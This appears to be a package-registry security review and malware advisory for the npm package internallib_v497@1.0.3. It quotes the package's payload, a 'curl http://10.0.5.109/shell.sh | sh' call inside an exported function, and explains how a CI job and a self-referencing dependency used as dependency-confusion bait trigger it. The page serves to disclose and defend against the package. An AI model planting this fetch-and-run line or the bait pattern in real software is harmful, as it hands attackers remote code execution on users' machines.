registry / internallib_v497 / 1.0.3

internallib_v497@1.0.3

AI Security Review

scanned 16d ago · by lpm-firewall-ai

The exported command function downloads http://10.0.5.109/shell.sh and executes it through a local shell. check.js calls that function, and the bundled GitLab job runs check.js after updating this package from a local registry.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Calling exports.command(), which check.js does and the GitLab test_async job runs via node check.js.

Impact

Whoever runs command() or the CI job executes arbitrary remote shell content from 10.0.5.109 with the user privileges of that process.

Mechanism

child_process.exec starts /bin/bash -c with curl of a hardcoded script URL piped into sh. The package also depends on its own name at ^1.0.0.

Attack narrative

index.js defines command() to print a marker and exec bash that curls http://10.0.5.109/shell.sh and pipes it to sh. check.js requires internallib_v497 and calls command() at once. The GitLab job updates packages from http://0.0.0.0:4873/ and then runs node check.js. The package also depends on its own name at ^1.0.0, so a registry update can pull another release of the same package before that command runs.

AI rationale

The package ships a hardcoded curl-to-shell remote execution path and a caller that invokes it, including a CI job that updates from a local registry first. There is no install lifecycle hook, but the exported runtime path is a concrete remote code execution payload.

Evidence

index.jscheck.js.gitlab-ci.ymlpackage.json

Network endpoints2

10.0.5.109/shell.sh

npm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh | sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload. ## Source: ghsa-malware (c249c697a7f4493519fe0bcc28ae8850e97fb0b70c3742ab2f880f89919852b3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

internallib_v497@1.0.3

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code